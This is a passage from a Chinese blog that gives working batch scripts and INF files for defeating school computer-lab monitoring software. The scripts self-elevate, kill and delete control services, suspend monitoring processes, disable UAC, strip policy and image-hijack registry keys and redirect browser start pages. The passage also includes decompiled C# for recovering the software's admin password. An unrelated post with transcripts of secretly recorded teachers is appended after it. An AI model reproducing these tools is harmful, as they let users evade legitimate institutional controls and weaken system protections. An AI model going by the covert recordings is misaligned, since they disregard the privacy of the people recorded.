) else (
7
    echo Level Ascending... Restart
8

9
    powershell -command "Start-Process '%0' -Verb RunAs"
10
    exit
11
)

来实现UAC自动提权管理员！

板块四挂起进程#

有一天我的同学给我推荐了这个方法，说是用一个命令行程序Suspend来命令层面挂起极域进程实现随意脱控，亲测有效。如果使用性能监视器也可以达到相同效果。

挂起为何物#

大家可能有过这样的经历：当你用WPS做PPT或者正在用WPS演示PPT时，有时它会莫名其妙地卡掉，尤其是你画了太多墨迹注释时，看着永不停歇转动的“繁忙”鼠标图标，你也许会耐不住性子直接任务管理器结束进程，并发誓要下载一个破解版的微软Office全家桶来用。像这样，程序的卡死就是挂起的一个形式，当然，当CPU面临有限的内存分配问题时，它会优先分配运存给那些需要内存的重要程序而把不那么重要的进程挂起，表现为对用户操作无响应等。

那么你可能已经猜到了这一方法的逻辑了：我们挂起极域主进程。这样当教师端发送指令（黑屏安静、全屏广播等）时，你这边的极域接收端（学生端）就无法对指令作出响应，自然也就不会被控制。桌面监控同理，也会被影响，不同的是，教师端的监控小窗只会定格在你挂起极域前传输过来的最后一帧画面，总之瞒天过海是基本上没问题的了……

根据上述原理，我们有两种方式来挂起一个进程（其实本来还有Win32API这种方法，留给读者自行研究）：

第一种性能监视器#

你可以打开任务管理器，在“性能”一栏的左下角可以看到“性能监视器”选项（Win10），对于Win11用户，则需点击“性能”栏右上角三个点，然后选中“性能监视器”；也可以Win+R输入perfmon.exe /res直接打开（万能）。还有几种方法见百度百科。

在性能监视器中，我们在最上面“进程”列表中找到StudentMain.exe（一般来说有两个同样的进程），接着挨个右键点击“暂停进程（S）”即可。

但是这样的话，你在教师端那边的小窗口上就会显示出一个性能监视器的窗口，感觉不太完美，怎么能优化一下呢？

第二种 Suspend命令行#

PS Suspend - Microsoft Learn

PS Suspend微软官方下载地址

下载下来的压缩包里有很多的工具，不过我们只需要其中的一个——“pssuspend.exe”（64位系统按需选用）

然后我们设计一个挂起脚本，由于挂起后，教师端的监控界面会停在挂起前的最后一帧。所以人性化的加入一个延时代码，让学生有充足的时间切换到学习屏幕上，使用TIMEOUT命令实现。

紧接着，因为每次手动打开脚本太慢了，我们将挂起和解挂贴在同一段函数里循环调用。当然，如果不小心手残关掉了窗口，我提供两个文件，一个脚本打开即挂起、另一个打开即解挂，完美符合需求。

代码在最下边↓

板块五——东南互保，服务互救#

极域在设计Master Helper.exe时还留了一手，专门开了一个服务STUDSRV来为它救急。全称，这个服务有时会和它的姊妹服务GATESRV同框，而后者作用至今未知……

根据前文，我们只要杀掉这个服务就可以实现一次到位的Master Helper.exe进程终止。因此加入如下段落：

Terminal window

1
sc stop STUDSRV
2
sc delete STUDSRV

同时你还可以把循环体a里的taskkill /f /t /im MasterHelper.exe提到循环体外边去，为本就渣成渣的CPU减点负担……

红蜘蛛软件——可曾听闻我绿蜘蛛脚本的厉害？#

在本人印象中，红蜘蛛似乎就仅仅只是一个吉祥物，只有在开机后那么几秒，它拖着上世纪复古风的“高清”启动界面在我的眼前一闪而过，然后静静地躲在任务栏的小图标里，践行它大隐隐于市的人生信条……

说实话要不是同学提醒我还真忘了机房里还有这位叫红蜘蛛的朋友，于是我着手开始破解它。红蜘蛛：我吃柠檬

1. 这玩意怎么跟2345一个德行？#

知道2345全家桶的同学们肯定对它恨之入骨，尤其是那些下载了2345的同学们。2345号称天朝第一大流氓软件，在无数人的电脑中如同鬼魂一般挥之不去。捆绑安装、弹窗广告、强制修改系统文件、浏览器劫持……无奇不有，关键是它的公司甚至推出极其出生的“推广包”机制来诱惑不良商户分发2345毒瘤软件。这篇文章介绍了清除2345的一种方案。

回到本节主题上来，为什么会取这样一种怨气十足的标题呢？是因为它和2345伪装成系统文件类似，红蜘蛛属于是反向利用了系统文件来给自己加上一层保护网。

打开任务管理器，除了霸占后台程序第一行的红蜘蛛本体，下面还有两个附属程序，名叫“3000soft通用组件”，如果直接终止进程，它很快会再次冒出来。将它们展开后发现叫做checkrs.exe和rscheck.exe的程序。那么运用上边经常用到的服务搜查法，我们发现了两个命名规则极其相似的服务：appcheck2和checkapp2。

然而我事后才发现红蜘蛛官网早已自报家门了……血亏！

常规思想：我们使用sc命令结束这两个服务，然而……

显示无法停止，那怎么办呢？

考虑到这两个进程是红蜘蛛死掉后无限重启的命根，并且这两个进程也跟红蜘蛛主程序一样杀了就会重启……很明显，根本原因就是那两个服务，但是sc命令不管用了，咋办呢？（抠头）

这时我们就需要绕道而行，既然命令不行，我们转战注册表！打开注册表管理器，定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services文件夹，它有很多个子文件夹，在下面定位到appcheck2和checkapp2，它的文件结构类似于这样（这里用别的服务替代一下）：

（注意，这个并不是红蜘蛛的服务，是我临时找别的替代的，它们的注册表项名称相同，只是数据不同而已）

容易发现：ImagePath项指向了服务的根文件地址，也就是俗称的万恶之源，既然每次终止组件后它会自动重启服务，那我们为何不破坏这个ImagePath，让它指向一个不存在的地址，这样它就启动不了任何东西了。在我的绿蜘蛛inf文件里如此写到：

1
[Version]
2
Signature="$CHICAGO$"
3
Provider=justpureh2o@outlook.com, 2023
4

5
[DefaultInstall]
6
DelReg=Delete
7
AddReg=RedSpiderService.ValueModify
8

9
[RedSpiderService.ValueModify]
10
HKLM,"SYSTEM\CurrentControlSet\Services\appcheck2","ImagePath",0,"C:\Windows\SysWOW64\rschck.exe"
11
HKLM,"SYSTEM\CurrentControlSet\Services\checkapp2","ImagePath",0,"C:\Windows\SysWOW64\chekrs.exe"

然后你就可以用任务管理器终止两个通用组件，紧接着就可以终止红蜘蛛了！

由于本人目前对红蜘蛛知之甚少，可以看这篇文章了解更多！

学生机房管理助手——闻着臭吃着香#

1. 不用逆向，能得到什么结论？#

其实一开始我以为它和极域一样是基于C++/C开发的因此无法反编译，直到回家之后我自己下载了一个。杀毒软件报毒删除了set.exe，打开main.exe主入口程序时它突然弹出了一条C#式的通知框提示set.exe未找到。于是果断打开dnSpy开启后面的破解，反编译破解的内容将在后面涉及到。

首先看到他的文件目录↓

其中zy文件夹中存放的是各种浏览器的exe可执行文件，猜测是覆盖现有的高版本浏览器，以便它操作注册表禁止各种功能。

有一定经验的同学想必会一眼看到可疑的yl.reg注册表文件，但是先别急着合并注册表。首先，你的机器可能已经被禁用了注册表和任务管理器；第二，这个文件里也不是你心心念念的破解注册表（虽然后面我们会利用它破解机房管理助手）。对于未知的事物，最好还是保持谨慎勿近的态度为好……

除此之外，一个名叫jfglzs.exe的程序吸引了我，根据我多年混迹于首拼梗圈的我一秒钟就反应过来，知道它就是“机房管理助手”的首拼。我们之后的破解也围绕着这个东西进行。

第一问任务管理器、注册表、组策略咋解#

本人Win11系统，正常情况下任务栏设置上端会有一个任务管理器选项。

如果你稍微懂一点高级知识，你也许会使用Win+R，并输入taskmgr试图使用任务管理器。然而这不可能奏效，因为你会接到一则提示：

输入regedit（注册表）和gpedit.msc（组策略管理器）也是一样的道理。很少很少的高材生会使用mmc试图加载组策略，但是这样也不可能奏效。搜索资料发现，修改注册表的某些键值可以实现禁用组策略、注册表、任务管理器的功能。深度分析yl.reg时就会发现这些东西：

第一行翻译过来就是：“禁用任务管理器”，它的值被设置成了1，也就是true。这一块还有禁止更改密码、禁止切换用户的设置等等。对于组策略，它的两个值则是存放在注册表：HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC中的RestrictToPermittedSnapins；和它的子目录HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D30000F87571E3}中的Restrict_Run。如果不出意外，它们的值都是非零的，意味着组策略被禁用了。要想破解，我们就需要用一个不直接调用注册表的方式来添加/更改注册表值，这也就是下面将要提出的inf安装文件法。

INF安装文件的机制

提起绿色版软件，大家应该不会陌生，它省去了冗杂的dll等库文件，仅仅一个exe文件驱动整个程序。在绿色版软件安装时，有时就是用的inf文件安装法。一个可运行的inf文件包含几个项：

1
[Version]
2
Signature="$CHICAGO$"
3
Provider=somebody

Version段包含inf文件的基本信息，其中Signature指定了文件的适用系统，常见的值有MS、WindowsNT等，这里我们使用CHICAGO获得最广泛的支持（注意美元符号和引号的书写）。

1
[DefaultInstall]
2
DelReg=Delete
3
AddReg=Add

这一段声明了安装时所需的函数，DelReg负责删除注册表，AddReg负责创建/修改注册表。基本语法如下：

DelReg：[ROOT] [PATH] [NAME]，ROOT就是注册表中HKEY开头的那些，你可以写全称，也可以写缩写形式（HK+后两个单词的首字母，HKEY_LOCAL_MACHINE=HKLM）；PATH是包含指定键值的文件夹路径；NAME就是键值的名字。

AddReg：[ROOT] [PATH] [NAME] [TYPE] [VALUE]，TYPE指定了注册表值的类型（0相当于缺省，默认字符串；1为DWORD值，设置十六进制值时只需两个数字一组，中间逗号分隔开，一定保证输入的十六进制为8位，一定记得写前导0！）；VALUE即为键值，值为字符串时需要在前后打上半角双引号。

等号右侧的值相当于C++中的typedef，用来重命名函数，因此，在后续的安装代码中，我们的字段标识符都要与等号右侧的值相符才可，在我们的inf中，它表现为这样（inf文件的注释用分号表示）：

1
[Delete]
2
HKCU,"Software\Policies\Microsoft\MMC","RestrictToPermittedSnapins"
3
HKCU,"Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D30000F87571E3}","Restrict_Run"
4

5
[Delete]
6
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools"
7
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr"
8
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableChangePassword"
9
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableCMD"
10

11
[Delete]
12
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableSwitchUserOption"
13
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","HideFastUserSwitching"

在记事本里编辑即可，记得保存为.inf文件，而后右键“安装”，或者在cmd里运行：InfDefaultInstall + inf文件地址（前提是你的cmd没被禁止）。

除此之外，我们发现了一些好玩的东西：yl.reg的最后几十行，将常用浏览器的起始界面通过注册表的方式修改成了它的官网，学有余力的娃们可以通过刚才介绍的AddReg函数把它的值改成你想要的值，在这里我换成了我精心制作的嘲讽页面：

1
[Add]
2
HKLM,"SOFTWARE\Policies\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
3
HKLM,"SOFTWARE\Microsoft\Internet Explorer\MAIN","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
4
HKLM,"SOFTWARE\Microsoft\Internet Explorer\MAIN","First Home Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
5
HKLM,"SOFTWARE\Wow6432Node\Baidu\BaiduProtect\LockIEStartPage","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
6
HKLM,"SOFTWARE\Wow6432Node\Software\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
7
HKLM,"SOFTWARE\Wow6432Node\Software\Microsoft\Internet Explorer\Main","Default_Page_URL",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
8
HKEY_USERS,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
9
HKEY_USERS,".DEFAULT\Software\Microsoft\Internet Explorer\Main","First Home Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
10
HKEY_USERS,"S-1-5-18\Software\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"
11
HKEY_USERS,"S-1-5-18\Software\Microsoft\Internet Explorer\Main","First Home Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23"

yl.reg——队友坑害全队的典型例子。

当一切完成之后，你就可以自由使用任务管理器了，被锁定了cmd的同学们也可以尽情使用taskkill了！诶等等，事情好像有点不对劲……

第二问我的taskkill去哪了#

可是我的taskkill还好好地躺在System32文件夹里啊

为找出机房管理助手禁用taskkill的内部机理，我从网上下载了一个taskkill.exe和ClassX放在同级目录下，两者的运行结果如下图：

上边是网上下载的taskkill、下边是系统自带的taskkill。容易发现机房管理助手使用了某种针对文件名的程序禁用策略。那好办，把下载下来的taskkill改个名字就好了，我改成了tskill，相应地，ClassX里的对应代码也要改变：

Terminal window

1
:a
2
tskill /f /t /im MasterHelper.exe
3
tskill /f /t /im ProcHelper64.exe
4
TIMEOUT /T 1
5
goto a

好耶！

逆向思维，我们可以不用下载taskkill，直接在C:\Windows\System32\下改名字。如果出现以下情况：

提示你需要Trusted Installer提供的权限，就按照如下步骤操作：

打开cmd，输入takeown /f [PATH] /a /d /r y && icacls [PATH] /grant [USERNAME]:F"，其中[PATH]为文件路径、[USERNAME]为电脑用户名，通常启动cmd时显示的C:\Users\后就是用户名。输入完毕回车，就可以对文件进行重命名了。

当然也可以将下边代码存成一个.reg文件，双击，选择确定添加，对指定文件右键，选择“获取Trusted Installer权限即可”。

1
Windows Registry Editor Version 5.00
2

3
[HKEY_CLASSES_ROOT*shellunas]@="获得Trustedinstaler权限"
4

5
[HKEY_CLASSES_ROOT*shellunascommand]@="cmd.exe /c takeown /f "%1" && icacls "%1" /grant administrators:F""IsolatedCommand"="cmd.exe /c takeown /f "%1" && icacls "%1" /grant administrators:F"
6

7
[HKEY_CLASSES_ROOTDirectoryshellunas]@="获得Trustedinstaler权限""NoWorkingDirectory"=""
8

9
[HKEY_CLASSES_ROOTDirectoryshellunascommand]@="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant administrators:F /t""IsolatedCommand"="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant administrators:F /t"

一通操作下来，这是成果：

所以这到底是成功了还是没成功？它甚至连输出都没有了……事后查看任务管理器可以发现，这个方法是行之有效的！

在本地组策略管理器中有这么一个设置，在“用户配置-管理模板-系统”下，有一个“不运行指定的Windows程序”。类似于黑名单，这里可以设置禁止运行的程序的名称，选择“已启用”即可生效，仅针对于文件名（组策略还允许按哈希值屏蔽程序），但是这并不是机房管理助手使用的策略。

事实上，机房管理助手使用了一个比较粗显的办法来禁用包括taskkill在内的诸多“可能造成威胁”的程序，根据上文探究，我们发现这种禁用策略基于文件名（改个名字就可以绕过），在我遇到这种情况时，我的脑子里第一反应就是——重定向。接下来介绍一种在Windows里操作注册表实现按文件名重定向的方法：

映像劫持

简称IEFO，原本是Windows提供给一些程序，用以进行调试的注册表项。只不过在更多时候，它被拿去给某些无良人士做软件禁用了……

定位到注册表路径HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下，不出意外的话，目录下会有很多以文件名命名的子文件夹：

（看来来对地方了）

这里不仅有老朋友taskkill，还有我们的好朋友ntsd，它们都被拿捏了。不要怕，马上救你们于水火之中！

注意：慎重修改除ntsd和taskkill以外的项，修改这些项可能导致系统某些功能无法正常运作！

在taskkill项里，有一个字符串值，值为null，也就是一个空值。在这里，可以直接删除taskkill项，或者删除debugger字符串值，你也可以把debugger的值直接修改为taskkill.exe。对于ntsd项同理。

（我选择删除debugger值，现在可以正常使用taskkill了）

解除映像劫持的代码也写进解锁脚本里了。

第三问 yl.reg到底写了啥#

其实最扎眼的就是它里面写的宣（补）战（贴）名单各种脱控工具箱，说实话那些工具箱软件我基本上一个都没见过……

这些注册表项有一个很普遍的特征，它们无一例外指向了注册表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers\0\Hashes下很多以GUID形式命名的文件夹，那么这些文件夹具体起什么作用呢？

这其实是组策略管理器的黑名单，具体见此，没错，组策略可以限制指定软件的运行。但是很遗憾，这些配置全部存放在上述的注册表里面。你可以把注册表看做系统的配置文件，操作系统几乎所有配置信息、甚至包括大部分软件程序的配置都存放在注册表中。这么看来除了BIOS没别的安全地方了

如果想要禁用这些项，并不需要挨个将每个文件删去，而是看到他的其中一个父文件夹codeidentifiers。它里面有一个二进制值authenticodeenabled，它指定组策略黑名单的ID标识符，也就是codeidentifier文件夹下以数字命名的文件夹，只有当子文件夹的名称与ID标识符相同时才会启用该文件夹下的配置。因此我们釜底抽薪，直接更改authenticodeenabled的值：

1
[Add]
2
HKLM,"SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers","authenticodeenabled",1,00,11,45,14

假如我掏出逆向工具，阁下又该如何应对？#

正如开头所说，学生机房管理助手由C#开发，因此可以用dnSpy反编译它的可执行文件，得到源码。那么我们就开始吧！

第一框密码是啥#

正如大多数软件那样，机房管理助手对它的源代码进行了一轮套壳，也就是代码混淆。为了让代码变成我们都容易看的形式。我们使用C#脱壳软件NET Reactor Slayer进行反混淆（代码混淆工具为NET Reactor）。然后再用dnSpy对机房管理助手的设置模块set.exe进行反编译，就可原模原样扒出下边这段C#代码（以上两个工具均可在GitHub下载到最新版）

1
using System;
2
using System.Security.Cryptography;
3
using System.Text;
4
using System.IO;
5

6
public class Program
7
{
8
  public static void Main()
9
  {
10
                string string_3;
11

12
                Console.Write("Input Passcode Here: ");
13
                string stmp = Console.ReadLine();
14
                if (stmp != null) string_3 = stmp;
15
                else {
16
                Console.WriteLine("Interrupted by Ctrl+Z! Restart to retry...");
17
                return;
18
                }
19
    //string string_3 = "12345678";
20
    // Class6.smethod_0()
21
    string value = "C:\\WINDOWS";
22
    string s = value.Substring(0, 8);
23
    string s2 = value.Substring(1, 8);
24
    DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
25
    descryptoServiceProvider.Key = Encoding.UTF8.GetBytes(s);
26
    descryptoServiceProvider.IV = Encoding.UTF8.GetBytes(s2);
27
    MemoryStream memoryStream = new MemoryStream();
28
    CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
29
    StreamWriter streamWriter = new StreamWriter(cryptoStream);
30
    streamWriter.Write(string_3);
31
    streamWriter.Flush();
32
    cryptoStream.FlushFinalBlock();
33
    memoryStream.Flush();
34
    string string_4 = Convert.ToBase64String(memoryStream.GetBuffer(), 0, checked((int)memoryStream.Length));
35
    // Class6.smethod_3()
36
    StringBuilder stringBuilder = new StringBuilder();
37
    for(int i = 0; i < string_4.Length; i++)
38
      stringBuilder.Append((char)(string_4[i] - 10));
39
    string_3 = stringBuilder.ToString();
40
    // Class6.smethod_2()
41
    MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
42
    byte[] array2 = md5CryptoServiceProvider.ComputeHash(Encoding.Default.GetBytes(string_3));
43
    stringBuilder.Clear();
44
    for (int i = 0; i < array2.Length; i++)
45
      stringBuilder.Append(array2[i].ToString("x2"));
46
    string str = stringBuilder.ToString().Substring(10);
47

48
    Console.WriteLine(str);
49
  }
50
}

展开收起

在脱离控制之前，需将机房管理助手的互保程序至少挂起一个！使用 pssuspend jfglzs.exe 以达到该效果！千万不要没挂起就改注册表，会寄，相信我！

在这里可以在线运行上边的代码并获得输出。

同时，机房管理助手的密码MD5文件存放在注册表HKEY_CURRENT_USER\Software下的字符串值n里面。更改即生效！注意若要完全退出，则需要重新解除挂起，输入密码才行；如果怕被老师发现需要复活机房管理助手，直接定位到机房管理助手安装目录，打开目录下的jfglzs.exe和przs.exe即可（别听他瞎扯，其实不需要重启电脑就可以重新复活机房管理助手）。

代码环节#

ClassX#

如果安装了学生机房管理助手，则先运行下边的机房管理杀手，然后再运行这个脚本

使用方法：另存为.bat文件直接运行

Terminal window展开收起

1
@echo off
2

3
>nul 2>&1 "%SYSTEMROOT%\System32\cacls.exe" "%SYSTEMROOT%\System32\config\system"
4

5

6
if %errorlevel% == 0 (
7
    echo Admin Switched!
8
) else (
9
    echo Level Ascending... Restart
10

11
    powershell -command "Start-Process '%0' -Verb RunAs"
12
    exit
13
)
14

15
sc stop tdnetfilter
16
sc delete tdnetfilter
17
sc stop tdfilefilter
18
sc delete tdfilefilter
19
sc stop GATESRV
20
sc delete GATESRV
21
sc stop STUDSRV
22
sc delete STUDSRV
23

24
regedit /c /s usb_reg.reg
25
echo Unhook through Regedit
26

27
:a
28
taskkill /f /t /im MasterHelper.exe
29
taskkill /f /t /im ProcHelper64.exe
30
TIMEOUT /T 1
31
goto a

展开收起

绿蜘蛛#

使用方法：另存为.inf文件→右键安装；任务管理器先结束进程3000soft通用组件，再结束红蜘蛛软件

1
[Version]
2
Signature="$CHICAGO$"
3
Provider=justpureh2o@outlook.com, 2023
4

5
[DefaultInstall]
6
DelReg=Delete
7
AddReg=RedSpiderService.ValueModify
8

9
[RedSpiderService.ValueModify]
10
HKLM,"SYSTEM\CurrentControlSet\Services\appcheck2","ImagePath",0,"C:\Windows\SysWOW64\rschck.exe"
11
HKLM,"SYSTEM\CurrentControlSet\Services\checkapp2","ImagePath",0,"C:\Windows\SysWOW64\chekrs.exe"

机房管理杀手#

使用方法：另存为.inf文件→右键安装

1
[Version]
2
Signature="$CHICAGO$"
3
Provider=justpureh2o@outlook.com, 2024
4

5
[DefaultInstall]
6
DelReg=Delete
7
AddReg=Add
8

9
[Delete] ; 更新 2024.7.18 解决断网小游戏限制（Edge）
10
HKLM,"SOFTWARE\Policies\Microsoft\Edge","AllowSurfGame"
11

12
[Delete] ; 更新 2024.7.15 解决win+r弹出运行菜单限制
13
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoRun"
14

15
[Add] ; 更新 2024.7.15 解决命令行锁定问题
16
HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA",1,00,00,00,00
17

18
[Delete] ; 你以为只有你会劫持？
19
HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe","debugger"
20
HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntsd.exe","debugger"
21

22
[Delete] ; 大坏蛋，放开那个组策略管理器！
23
HKCU,"Software\Policies\Microsoft\MMC","RestrictToPermittedSnapins"
24
HKCU,"Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D30000F87571E3}","Restrict_Run"
25

26
[Delete] ; 注册表和任务管理器我来接手，你可以卷铺盖走人了！
27
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools"
28
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr"
29
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableChangePassword"
30
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableCMD"
31

32
[Delete] ; 我就要切换用户！
33
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableSwitchUserOption"
34
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","HideFastUserSwitching"
35

36
[Delete] ; 如果把我桌面搞乱了张伟会清理掉我的文件滴
37
HKCU,"Software\Microsoft\Windows\CurrentVersion\Explorer","DesktopProcess"
38

39
[Add] ; 加点料才香~
40
HKLM,"SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers","authenticodeenabled",1,00,11,45,14
41
HKLM,"Software\Microsoft\Windows\CurrentVersion\Policies\System","NoConfigPage",1,00,00,00,01
42
HKLM,"Software\Microsoft\Windows\CurrentVersion\Policies\System","NoDevMgrPage",1,00,00,00,01
43

44
[Add] ; 嘲讽一波这sb管理助手，关键你就算换成自己的网页学校的破网也加载不出来（笑）
45
HKLM,"SOFTWARE\Policies\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/misc/"
46
HKLM,"SOFTWARE\Microsoft\Internet Explorer\MAIN","Start Page",0,"https://justpureh2o.github.io/misc/"
47
HKLM,"SOFTWARE\Microsoft\Internet Explorer\MAIN","First Home Page",0,"https://justpureh2o.github.io/misc/"
48
HKLM,"SOFTWARE\Wow6432Node\Baidu\BaiduProtect\LockIEStartPage","Start Page",0,"https://justpureh2o.github.io/misc/"
49
HKLM,"SOFTWARE\Wow6432Node\Software\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/misc/"
50
HKLM,"SOFTWARE\Wow6432Node\Software\Microsoft\Internet Explorer\Main","Default_Page_URL",0,"https://justpureh2o.github.io/misc/"
51
HKEY_USERS,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/misc/"
52
HKEY_USERS,".DEFAULT\Software\Microsoft\Internet Explorer\Main","First Home Page",0,"https://justpureh2o.github.io/misc/"
53
HKEY_USERS,"S-1-5-18\Software\Microsoft\Internet Explorer\Main","Start Page",0,"https://justpureh2o.github.io/misc/"
54
HKEY_USERS,"S-1-5-18\Software\Microsoft\Internet Explorer\Main","First Home Page",0,"https://justpureh2o.github.io/misc/"
55
; TODO 再给你多附赠几个浏览器hh
56
HKCU,"Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedgedevtoolsclient_8wekyb3d8bbwe\MicrosoftEdgeMain","Start Page",0,"https://justpureh2o.github.io/2023/12/24/cracked-23-12-23" ; Edge 浏览器主页

展开收起

通用挂起&解挂#

使用方法：另存为两个.bat文件

开局即挂起

Terminal window展开收起

1
@echo off
2
chcp 65001
3

4
echo 初次运行需在弹出窗口中点击 Agree 同意第三方软件用户许可证
5
echo 三秒后执行挂起，请注意切换窗口！
6
TIMEOUT /T 3
7
goto a
8

9
:a
10
pssuspend StudentMain.exe
11
echo 挂起成功！按任意键解挂...
12
pause
13
pssuspend -r StudentMain.exe
14
echo 解挂成功！按任意键挂起...
15
pause
16
goto a

展开收起

开局即解挂

Terminal window展开收起

1
@echo off
2
chcp 65001
3

4
echo 初次运行需在弹出窗口中点击 Agree 同意第三方软件用户许可证
5
echo 三秒后执行解挂，请注意切换窗口！
6
TIMEOUT /T 3
7
goto a
8

9
:a
10
pssuspend -r StudentMain.exe
11
echo 解挂成功！按任意键挂起...
12
pause
13
pssuspend StudentMain.exe
14
echo 挂起成功！按任意键解挂...
15
pause
16
goto a

展开收起

成都东辰古早录音资料收集

Sun, 11 Aug 2024 05:27:28 GMT

前言#

本文收集的录音大多录于2022年，八年级上下册，当时也是班内为人称道的“半导体时期”。在九年级二次分班以前，面对所谓的“内忧外患”、各科老师不停地贬己捧他、离谱的纪律考核条款，同学们个个一身反骨……同学们为了记录在成都东辰发生的一系列不公事件，纷纷携带录音设备，在教室的各大角落静坐着等待时机，从而在不被任何人发现的情况下成功带出这些音频资料。现罗列这些音频如下：

Important

为了您的声誉着想，请勿外放以下所有音频！

Note

为了方便聆听/保护耳膜，部分音频已做音量处理，处理内容均会注明

教室合集#

S3.mp3#

您的浏览器不支持 audio 标签，请下载音频。

高不成，低不就。

摆摊摊有你们。

还可以哇？

（打铃声）

s2.mp3#

您的浏览器不支持 audio 标签，请下载音频。

对于（男生）444 寝室，我们将准备启用“熔断制度”。

（2022年）3月13号，返校回来，22:54，寝室里还存在讲话……

而且打了招呼不听。

对于这个寝室，所有的学习任务下达：

以 <男生 444 寝室的四位同学> 为代表，我们班已经没有他们的平台了。

他们，需要在，所有的学程监测之中：

语数外物，（达到）前三名，（或者）年级前三前五，至少两门以上，算合格。

连续考三次（学程监测），三门（拿到上面的名次），算优良。

（连续考三次学程检测，）四门（拿到上面的名次），算优秀。

要连续考三次，因为我们班已经没有对手，他们已经在高原上了。

鼓励他们，去筑高峰。

这个结果，我们将通过……和家长面对面交流的方式，投放给他们。

有脾气、有力量有意见，拿出来遛遛。

不要在窝里横。

你觉得，这些习惯都不重要。确实不重要。

那我就来看看，是骡子是马，遛一遛。

鼓励他们……期待他们。

第二：开言路

请，所有的班委和我们班级的同学。但凡你的心里还有一点良知、但凡你觉得还在乎这个班级氛围对你学习的影响——有话尽管说、找 <班主任> 说。

不要回去找你的家长拐个弯回来，结果那一周过完了，你的时间很贵、等不起。所以直接来找我，直接给我反馈。

不好意思、（或者是）当面说不出口、害怕被同学发现，写个字条丢在 <班主任> 桌面上，就 OK。

也不需要写名字，实时举报和反馈。

班上你觉得哪些同学，他在带节奏，影响了你的学习；他在带班风，辣了你的眼睛。欢迎举报。

第二（*此处应是“第三”*）：抓碎嘴的典型

（打铃声）

这个碎嘴，我们班是——“常打”、“常言”、“常反复”。

这里，以 <两个同学> 为代表，点名提醒。

第四：违禁品的检查。

我们，通过不定时，采用“抽查”的方式（进行检查），包括在宿舍。

好了，本周的所有工作（内容），到这。学法分享，还要继续。这周的学法分享……（*录音结束*）

22.3.29 21.10.mp3#

Note

本音频声音已放大 10dB，同时进行了人声增强处理。

您的浏览器不支持 audio 标签，请下载音频。

敢堂而皇之地给我提个“<班主任> 你喊他一个人一个寝室”我说你好有钱哦~

我对不起你有钱也买不到我们学校头……（的一间宿舍）。我不晓得哪个可以住单间寝室的连生活老师宿管阿姨都住不了。说话之前想过没有？！

我说喽，从现在开始：我全部按照《中学生日常行为规范》、《中学生守则》、《寝室管理细则》，我们挨到挨着来弄。

你凑够喽，该咋子（怎么样）去 102初中部教导主任办公室领处分吼、该发回去一周（接回家反省一周）吼、休学吼……那都是你的事情。我就要看看，你把它处分累到最后，学校头叫你回家（*敲讲台*）反省一周，你伤得起伤不起？

装疯迷窍方言，明知故犯的简直是……捂到捂到形容关心的我把你撑（*音同*）懒喽换到后头还懒出毛病了，没有听说过。

